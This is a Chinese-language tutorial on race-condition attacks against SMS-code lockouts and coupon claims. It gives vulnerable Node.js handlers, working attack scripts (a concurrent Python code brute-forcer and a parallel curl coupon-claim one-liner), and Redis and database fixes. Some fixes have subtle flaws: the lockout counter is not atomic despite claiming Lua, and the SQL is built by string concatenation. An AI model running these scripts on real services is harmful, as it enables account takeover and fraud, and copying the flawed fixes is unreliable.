竞态条件攻击实战
"检查(Check)"和"执行(Act)"不是原子的——这就是竞态条件的本质。当多个并发请求同时通过检查,却在执行时产生了超出预期的结果,漏洞就发生了。
一、什么是竞态条件
经典的"检查后执行"(TOCTOU, Time Of Check To Time Of Use)问题:
时间线:
请求A: 检查库存(1) → 通过 → [等待] → 扣减库存 → 成功
请求B: ............检查库存(1) → 通过 → 扣减库存 → 成功
结果: 两个请求都通过了检查,但库存只有1个 → 超卖!
二、验证码爆破绕过时序攻击
2.1 漏洞场景
后端对验证码有"5次失败即锁定"的限制,但由于检查和计数不是原子操作,攻击者可以并发发送 100 个请求,全部通过检查。
2.2 漏洞代码
// VULNERABLE: 验证码校验存在竞态
app.post('/api/login/sms', async (req, res) => {
const { phone, code } = req.body;
const record = await db.SmsRecord.findOne({ where: { phone } });
if (!record) return res.status(400).json({ error: '请先获取验证码' });
// ❌ 非原子操作:先读取失败次数
if (record.failCount >= 5) {
return res.status(403).json({ error: '验证码已锁定,请1小时后再试' });
}
const now = Date.now();
if (record.expireAt < now) {
return res.status(400).json({ error: '验证码已过期' });
}
if (record.code !== code) {
// ❌ 再更新失败次数——两个请求可能同时通过上面的检查
await record.increment('failCount');
return res.status(400).json({ error: '验证码错误' });
}
// 登录成功
await record.destroy();
const token = jwt.sign({ phone }, JWT_SECRET);
res.json({ token });
});
2.3 攻击脚本
# race_attack.py — 并发爆破验证码(仅用于演示)
import asyncio
import aiohttp
async def try_code(session, phone, code):
async with session.post('http://target/api/login/sms', json={
'phone': phone,
'code': f'{code:06d}',
}) as resp:
data = await resp.json()
if 'token' in data:
print(f'[+] 爆破成功: {code:06d} -> {data["token"]}')
return True
return False
async def main():
phone = '13800138000'
sem = asyncio.Semaphore(50) # 并发50个
async with aiohttp.ClientSession() as session:
# 并发发送 1000 个验证码尝试
tasks = []
for code in range(1000000):
async def bounded(c=code):
async with sem:
return await try_code(session, phone, c)
tasks.append(bounded())
await asyncio.gather(*tasks)
asyncio.run(main())
2.4 攻击效果
正常情况下,6 位数字有 100 万种可能,5 次锁定几乎不可能爆破。但竞态条件下,攻击者可以瞬间发送上千个请求,全部通过 failCount >= 5 的检查,在锁定期生效前完成爆破。
2.5 修复方案:Redis 原子计数器
// FIXED: 使用 Redis 原子 INCR + EXPIRE
app.post('/api/login/sms', async (req, res) => {
const { phone, code } = req.body;
const failKey = `sms:fail:${phone}`;
const lockKey = `sms:lock:${phone}`;
// ✅ 第一关:检查是否已被锁定(原子 GET)
const locked = await redis.get(lockKey);
if (locked) {
const ttl = await redis.ttl(lockKey);
return res.status(403).json({ error: `验证码已锁定,请 ${ttl} 秒后再试` });
}
const record = await db.SmsRecord.findOne({ where: { phone } });
if (!record) return res.status(400).json({ error: '请先获取验证码' });
if (record.expireAt < Date.now()) {
return res.status(400).json({ error: '验证码已过期' });
}
if (record.code !== code) {
// ✅ 原子计数:INCR + EXPIRE(Lua 脚本保证原子性)
const failCount = await redis.incr(failKey);
if (failCount === 1) {
await redis.expire(failKey, 3600); // 首次设置 1 小时过期
}
if (failCount >= 5) {
// ✅ 超过 5 次 → 设置锁定标记
await redis.set(lockKey, '1', 'EX', 3600);
return res.status(403).json({ error: '验证码已锁定,请1小时后再试' });
}
return res.status(400).json({ error: `验证码错误,还剩 ${5 - failCount} 次机会` });
}
// 登录成功 → 清除失败计数
await redis.del(failKey);
await record.destroy();
const token = jwt.sign({ phone }, JWT_SECRET);
res.json({ token });
});
三、优惠券重复领取
3.1 漏洞场景
活动期间,每个用户限领一张 100 元优惠券。但由于并发请求可以同时通过"已领数量 < 1"的检查,攻击者可以一次领几十张。
3.2 漏洞代码
// VULNERABLE: 优惠券领取存在竞态
app.post('/api/coupon/claim', async (req, res) => {
const userId = req.user.id;
const { couponId } = req.body;
const coupon = await db.Coupon.findOne({ where: { id: couponId } });
if (!coupon) return res.status(404).json({ error: '优惠券不存在' });
if (coupon.remainCount <= 0) {
return res.status(400).json({ error: '优惠券已领完' });
}
// ❌ 查询该用户已领取数量
const claimedCount = await db.UserCoupon.count({
where: { userId, couponId, status: 'UNUSED' },
});
if (claimedCount >= coupon.limitPerUser) {
return res.status(400).json({ error: '已达到领取上限' });
}
// ❌ 多个请求同时通过上面的检查,都走到了这里
await db.UserCoupon.create({
userId, couponId, status: 'UNUSED',
});
await coupon.decrement('remainCount'); // 库存扣减也竞态了!
res.json({ success: true });
});
3.3 攻击脚本
# 并发 50 个请求同时领取
seq 1 50 | xargs -I{} -P 50 curl -s -X POST -H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" -d '{"couponId": 1}' http://target/api/coupon/claim
结果:一个用户瞬间领到了 50 张优惠券,库存也被扣减了 50。
3.4 修复方案:双层锁 + 数据库唯一约束
// FIXED: 双层保护
app.post('/api/coupon/claim', async (req, res) => {
const userId = req.user.id;
const { couponId } = req.body;
// 第一层:Redis 分布式锁(快速失败)
const lockKey = `coupon:lock:${couponId}:${userId}`;
const locked = await redis.set(lockKey, '1', 'NX', 'EX', 5);
if (!locked) {
return res.status(429).json({ error: '操作太频繁,请稍后再试' });
}
try {
// 第二层:数据库事务 + 唯一索引兜底
await db.sequelize.transaction(async (t) => {
const coupon = await db.Coupon.findOne({
where: { id: couponId },
transaction: t,
lock: t.LOCK.UPDATE, // ✅ 行级锁
});
if (!coupon || coupon.remainCount <= 0) {
throw new Error('优惠券已领完');
}
// ✅ 直接插入,靠数据库唯一约束报错
try {
await db.UserCoupon.create({
userId, couponId, status: 'UNUSED',
}, { transaction: t });
} catch (err) {
// UNIQUE KEY 冲突 → 已经领过了
if (err.name === 'SequelizeUniqueConstraintError') {
throw new Error('已领取过该优惠券');
}
throw err;
}
await coupon.decrement('remainCount', { transaction: t });
});
res.json({ success: true });
} catch (err) {
res.status(400).json({ error: err.message });
} finally {
await redis.del(lockKey);
}
});
3.5 数据库唯一索引
-- ✅ 每个用户对每种优惠券只能有一条记录
ALTER TABLE user_coupons
ADD UNIQUE INDEX uk_user_coupon (user_id, coupon_id, status);
-- 优惠券库存字段加约束
ALTER TABLE coupons ADD CONSTRAINT chk_remain CHECK (remain_count >= 0);
四、常见竞态场景一览
| 场景 | 检查点 | 问题 | 修复 |
|---|---|---|---|
| 验证码爆破 | failCount < 5 | 非原子计数 | Redis INCR + Lua |
| 优惠券领取 | count < limit | 查询-插入分离 | 唯一索引 + 行锁 |
| 库存扣减 | stock > 0 | 读后写 | UPDATE stock = stock - 1 WHERE stock > 0 |
| 余额扣减 | balance >= amount | 读后写 | SELECT FOR UPDATE |
| 点赞/投票 | voted == false | 检查-写入分离 | INSERT 唯一索引 |
| 抽奖次数 | drawCount < limit | 非原子 | Redis DECR 原子扣减 |
库存扣减原子写法(推荐)
-- 一条 SQL 完成检查 + 扣减,不存在竞态
UPDATE products
SET stock = stock - #{qty}
WHERE id = #{productId} AND stock >= #{qty}
// ORM 写法
const result = await db.Product.update(
{ stock: db.sequelize.literal('stock - ' + qty) },
{ where: { id: productId, stock: { [db.Sequelize.Op.gte]: qty } } }
);
if (result[0] === 0) {
throw new Error('库存不足');
}
五、总结
竞态条件的根源是检查和执行之间存在时间窗口。修复思路有三条:
- 原子化:把"检查 + 执行"合并成一个原子操作(Redis Lua、单条 SQL、SELECT FOR UPDATE)
- 锁:在业务入口加分布式锁或行级锁,串行化并发
- 数据库约束兜底:唯一索引、CHECK 约束,即使应用层出问题,数据库也能挡住
记住:只要有"先查再改",就有竞态风险。